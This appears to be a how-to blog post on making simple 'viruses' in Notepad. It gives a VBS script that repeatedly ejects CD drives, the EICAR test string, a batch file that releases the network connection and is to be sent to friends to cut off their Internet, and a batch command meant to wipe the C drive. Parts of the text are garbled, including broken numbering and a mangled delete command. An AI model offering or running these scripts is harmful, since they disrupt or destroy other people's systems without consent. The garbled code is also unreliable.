Hello friends! Today we are going to discuss some information about computer virus and describe you how to create a virus. Everyone knows about the computer viruses, but if you want to know that how to make a virus for computer, then this article is best for you. In this article, I will provide you step-wise instructions that will show you how to create a computer virus. So, just read the complete article and follow the instructions carefully.
Methods to Create a Virus
Requirements to Make a Computer Virus:
- PC/Laptop
- Notepad
- Methods:
Let’s start with a simple and harmless virus, harmless CD-ROM virus. This virus will continuously eject your inserted CD/DVD. To create this virus follow the following steps.
Steps:
1. Open the Notepad on your PC or Laptop.
2. Then, copy the below-given programming code and paste it into the Notepad.
👆What you see in the image is what is listed down here 👇Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
3. Now save the file with any name with extension .vbs ( for example Virus.vbs).
4. With this, your virus will be created. To check the working of the virus, double-click the file that you have made.
#Method 3: To check the working of an Antivirus
This virus will check the working level of your antivirus. Many of antiviruses are only for the name; they don’t perform well. Therefore it is necessary to check our antivirus correctly. To create this virus, follow the given steps
Steps
1. First of all open the Notepad
2. Then Copy the below-given code and paste it into the Notepad.
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H
3. Now save the file as “EICAR.COM”.
4. If you have an active and effective antivirus, then your antivirus will delete this file. This virus is a harmless virus and often used to check the security level of an antivirus.
Method 3: To Stop Internet Access
This virus is used to stop someone’s Internet access. This virus is a harmless virus. You can use it on your friend’s system. To create this computer virus, just follow the given steps.
Steps:
1. First of all open the Notepad in your PC/Laptop.
2. Then copy the given command and paste it into your notepad.
@Echo off
Ipconfig /release
3. And then save the f weile with extension .bat (for example stop internet.bat, Internet.bat, etc.).
4. After all, send the file to your friends or colleagues, this will stop their Internet access.
5. To fix this problem, just open CMD and type IPconfig /renew and hit Enter.
Warning: This method is only for knowledge purpose, it is a harmful virus, so do not try this in your system. This virus can severely affect your system and also can destroy it.
Steps:
1. First of all open Notepad.
2. Then type the below-given command to Notepad
@Echo offDel C: *.* |y
3. After that, save that file with extension .bat (for example ANYTHING.bat).
4. And then this file or we can say virus, will destroy your C drive entirely and also corrupt your OS.
So, these were some methods to create a virus of a different kind. You can try these on your own.
Note that: Try above methods carefully, sometimes a little mistake can put you in a big problem. So, I will not be responsible for any fault.
Final Words
At last, I want to thank you all for visiting viralhax.com and for reading this article. Please keep visiting this site for more tech-articles. With this, share this article with your friends and family members on your social networking sites like Facebook and Twitter. I hope you liked our today’s article. Comment down your all queries in the comment section. And I will be back with new content soon.
![]() |